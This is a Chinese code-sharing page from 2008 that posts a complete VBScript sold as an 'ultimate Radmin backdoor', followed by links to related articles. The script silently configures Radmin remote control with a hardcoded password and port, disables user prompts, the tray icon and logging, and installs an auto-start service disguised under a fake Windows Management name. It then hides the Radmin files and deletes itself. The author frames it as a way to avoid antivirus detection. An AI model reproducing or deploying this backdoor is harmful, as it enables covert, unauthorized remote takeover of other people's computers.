Vbs腳本實現(xiàn)radmin終極后門代碼_刪除自身
更新時間：2008年06月14日 19:43:49 作者：
在網(wǎng)上看到N多人做radmin后門，要導出注冊表而且還用被殺軟件K殺。所以本人把自己寫的腳本提供大家分享。比較實用，希望大家喜歡。
復制代碼 代碼如下:
on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\RAdmin"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\RAdmin\v2.0"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\RAdmin\v2.0\Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\iplist"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
Set objRegistry = GetObject("Winmgmts:root\default:StdRegProv")
strPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"
uBinary = Array(0,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)
uBinary = Array(0,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)
uBinary = Array(1,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)
uBinary = Array(0,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)
uBinary = Array(0,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)
uBinary = Array(0,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)
uBinary = Array(0,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)
uBinary = Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119) //此為注冊表導出十六進制轉為十進制數(shù)據(jù) pass:241241241
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary) //Radmin密碼
uBinary = Array(5,4,0,0) //端口：1029
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)
uBinary = Array(10,0,0,0)
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &strComputer &"\root\default:StdRegProv")
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"
strValueName = "LogFilePath"
strValue = "c:\logfile.txt"
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("sc.exe create WinManageHelp binpath= %systemroot%\system32\Exporer.exe start= auto",0)
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &strComputer &"\root\default:StdRegProv")
strKeyPath = "SYSTEM\ControlSet001\Services\WinManageHelp"
strValueName = "Description"
strValue = "Windows Media PlayerWindows Management Instrumentation Player Drivers."
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName = "DisplayName"
strValue = "Windows Management Instrumentation Player Drivers"
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName = "ImagePath"
strValue = "c:\windows\system32\Exporer.exe /service"
oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("net start WinManageHelp",0)
b=wshshell.run ("attrib +r +h +s %systemroot%\system32\exporer.exe",0)
c=wshshell.run ("attrib +r +h +s %systemroot%\system32\AdmDll.dll",0)
d=wshshell.run ("attrib +r +h +s %systemroot%\system32\raddrv.dll",0)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) //自刪除
最好的刪除代碼不錯
createobject("scripting.filesystemobject").deletefile(script.scriptname)
相關文章
用vbs控制iis創(chuàng)建虛擬目錄的代碼...2007-03-03
經常有一些想學習vbs的朋友問我一些問題，昨天又有一個朋友問我取路徑的問題，今天就biweilun就一并寫出來，希望對大家有點幫助，呵呵2008-07-07
自動寫入文件上傳到指定服務器SoftwareMeteringCLS.vbs源碼
本次文章其中所用腳本代碼為ghiconan版主提供的由Branimir petrovic編寫的代碼，我在后面根據(jù)我公司現(xiàn)有的網(wǎng)絡情況做了一些文件管理的添加與刪除，最后有用ＦＴＰ批處理的方法上傳到服務器內！2008-12-12
可以將Bat轉換位VBS文件的VBS腳本...2007-07-07
VBS教程：函數(shù)-Timer 函數(shù)...2006-11-11
用vbscript實現(xiàn)的修改注冊表的腳本，建議大家看看2008-06-06
用vbs實現(xiàn)的XP序列號替換器...2007-10-10
VBS教程：運算符-運算符優(yōu)先級...2006-11-11
文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一，腳本經常會需要對文件及文件夾進行訪問和管理，在Vbs中對桌面和文件系統(tǒng)進行訪問的頂級對象是FileSystemObject(FSO)，這個對象特別復雜，是vbs進行文件操作的核心。2006-11-11
用vbs實現(xiàn)將剪切板的unix格式的內容處理成pc格式的代碼
用vbs實現(xiàn)將剪切板的unix格式的內容處理成pc格式的代碼...2007-10-10